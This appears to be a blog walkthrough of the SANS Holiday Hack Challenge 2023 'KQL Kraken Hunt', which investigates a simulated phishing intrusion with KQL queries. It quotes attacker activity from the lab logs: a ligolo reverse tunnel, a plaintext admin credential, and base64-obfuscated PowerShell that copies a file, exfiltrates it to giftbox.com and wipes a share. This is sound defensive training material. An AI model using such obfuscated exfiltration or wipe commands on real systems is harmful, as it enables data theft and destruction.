HHC 2023- 13 – KQL Kraken Hunt

Our next task takes us to the Gumshoe Alley PI Office on Film Noir Island. Here we can talk to Tangle Coalbox.

Talking to Tangle we find out that there’s been a network infection case on the island. Someone clicked a phishing link and Tangle needs our help to crack the case. We can navigate over to the Kusto Detective agency here to begin the task.

Beginning the task we first need to create a free cluster in the Azure Data Explorer. Once this is done and connected to the Kusto site we can run the below code from the onboarding document into the query view to generate the dataset.

.execute database script <|
.create table AuthenticationEvents (timestamp:datetime, hostname:string, src_ip:string, user_agent:string, username:string, result:string, password_hash:string, description:string)
.create table Email (timestamp:datetime, sender:string, reply_to:string, recipient:string, subject:string, verdict:string, link:string)
.create table Employees (hire_date:datetime, name:string, user_agent:string, ip_addr:string, email_addr:string, company_domain:string, username:string, role:string, hostname:string)
.create table FileCreationEvents (timestamp:datetime, hostname:string, username:string, sha256:string, path:string, filename:string, process_name:string)
.create table InboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table OutboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table PassiveDns (timestamp:datetime, ip:string, domain:string)
.create table ProcessEvents (timestamp:datetime, parent_process_name:string, parent_process_hash:string, process_commandline:string, process_name:string, process_hash:string, hostname:string, username:string)
.create table SecurityAlerts (timestamp:datetime, alert_type:string, severity:string, description:string, indicators:dynamic)
// Ingest data into tables
.ingest into table AuthenticationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/AuthenticationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table Email ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Email.csv') with (ignoreFirstRecord = true)
.ingest into table Employees ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Employees.csv') with (ignoreFirstRecord = true)
.ingest into table FileCreationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/FileCreationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table InboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/InboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table OutboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/OutboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table PassiveDns ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/PassiveDns.csv') with (ignoreFirstRecord = true)
.ingest into table ProcessEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/ProcessEvents.csv') with (ignoreFirstRecord = true)
.ingest into table SecurityAlerts ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/SecurityAlerts.csv') with (ignoreFirstRecord = true)

With the dataset created we have one question to answer to get started. That is, How many Craftperson Elf's are working from laptops? We can solve this quite easily with a query against the Employees table. The query used to get this answer is seen below.

Employees
| where role == "Craftsperson Elf"
| where hostname has "LAPTOP"
| count 

This should return the correct answer of 25. Submitting this will unlock Case 1 and our first 3 real questions. Q1: What is the email address of the employee who received this phishing email? Q2: What is the email address that was used to send this spear phishing email? Q3: What was the subject line used in the spear phishing email? This case also reveals that the phishing link clicked was http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx. We can answer Q1 in multiple steps. First we can use the OutboundNetworkEvents table to identify who clicked the link. The query for this is seen below.

OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

This returns one event with a source IP of 10.10.0.4 We can then use search this IP against the Employees Table with the below query to identify the user and email address.

Employees
| where ip_addr == "10.10.0.4"

This reveals our user of Alabaster Snowball and the email address alabaster_snowball@santaworkshopgeeseislands.org.

For question 2 we can take the known email and review email sent to it with the query below. We can also specify the compromised link to further refine our results.

Email
| where recipient == "alabaster_snowball@santaworkshopgeeseislands.org"
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

This returns one result with a sender of cwombley@gmail.com We can also get the answer for question 3 from this same query showing the subject line of [EXTERNAL] Invoice foir reindeer food past due.

Submitting these answers will complete the task and unlock Case 2 and the following questions. Q1: What is the role of our victim in the organization? Q2:What is the hostname of the victim’s machine? Q3: What is the source IP linked to the victim? For these questions we can again return to the employees table with the query from Case 1 Q1. From this we can see that Alabaster’s role is Head Elf his hostname is Y1US-DESKTOP and the source IP is 10.10.0.4. These answers can be submitted to unlock Case 3.

Case 3 only asks two questions. Q1: What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs! and Q2: What file is dropped to Alabaster’s machine shortly after he downloads the malicious file? For the first question we can once again review the query from Case 1 Q1. This gives us the timestamp 2023-12-02T10:12:42Z We can then pivot to the FileCreationEvents table and run the following query

FileCreationEvents
| where hostname == 'Y1US-DESKTOP'
| where timestamp >= datetime('2023-12-02T10:12:42Z')

From this we can see two relevant events the first is the malicious DOCX file being downloaded from edge at 2023-12-02T10:13:35Z. Immediately after this at 2023-12-02T10:14:21Z we can see a file named giftwrap.exe get dropped onto the machine. Submitting 2023-12-02T10:12:42Z and giftwrap.exe will complete this case and unlock the questions for case 4.

Case 4 returns to 3 questions to solve with Q1: The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? Q2: What is the timestamp when the attackers enumerated network shares on the machine? and Q3: What was the hostname of the system the attacker moved laterally to?

All three of these questions are answered with the following query against the ProcessEvents table

ProcessEvents
| where hostname == 'Y1US-DESKTOP'
| where username == 'alsnowball'

This query will get us all the processes run by the alabaster user on his host. Almost immediatly we can see a ligolo command. This is a tool for reverse tunneling and gives us the answer to Q1 113.37.9.17. We can then move further down the command list and will come across a net share command. This is used to display what network shares are on the machine and is the command for Q2. The timestamp is 2023-12-02T16:51:44Z Finally we are asked to find the hostname that the attacker moved latterly to. This is one of the most difficult questions of the whole challenge until you start to break it down. Lateral movement means that a host was accessed with a username and password. It doesn’t necessarily mean that RDP or SSH were used. Continuing to parse the commands run on the host we come across one towards the bottom cmd.exe /C net use \NorthPolefileshare\c$ /user:admin AdminPass123 here we have a hostname, username, and password and entering NorthPolefileshare along with the above two answers will complete case 4.

With case 5 started we are almost at the end of the investigation. We are now asked the following questions. Q1: When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine? Q2: What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) Q3: The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

For solving these we can continue to use the same query from the previous case. Finding the hostname at the end should have also pointed us towards three base64 encoded powershell commands. The first of these commands C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn was run at 2023-12-24T16:07:47Z. Decoding the base64 from this command we get ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join '' We can run this command in powershell to return the decoded value of txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\ metI-ypoC c- exe.llehsrewop This value then just needs to be reversed to return the real command, powershell.exe -c Copy-Item \NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt. With this we now also have the answer to Q2: NaughtyNiceList.txt. Since there are two more of these encoded commands the next logical step is to decode the other two. The next command, C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4= can also be base64 decoded to reveal [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv 'MDr').NamE[3,11,2]-joiN For this command I took the original string join command before the pipe [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101)) and ran it in powershell again. This revealed the command downwithsanta.exe -exfil C:\Desktop\NaughtNiceList.docx \giftbox.com\file which gives us the answer to Q3 giftbox.com.

At this point we have all the answers to Case 5 but we do still have one more encrypted powershell command so we should take the time to decode that as well. The command C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ= can be decoded to C:\Windows\System32\downwithsanta.exe --wipeall \\NorthPolefileshare\c$ Not of reference yet but a good thing to keep in mind as we submit case 5 and move on to our final case.

Case 6 asks us two questions. Q1: What is the name of the executable the attackers used in the final malicious command? Q2: What was the command line flag used alongside this executable?

Well looks like that final command we decoded was relevant after all. Q1 we know to be downwithsanta.exe and Q2 we know is --wipeall. Submitting these will give use the command print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==') to be run in the query view. This gives us the result Beware the Cube that Wombles submitting this in our badge will complete the objective and give us the achievement.

Leave a Reply

Your email address will not be published. Required fields are marked *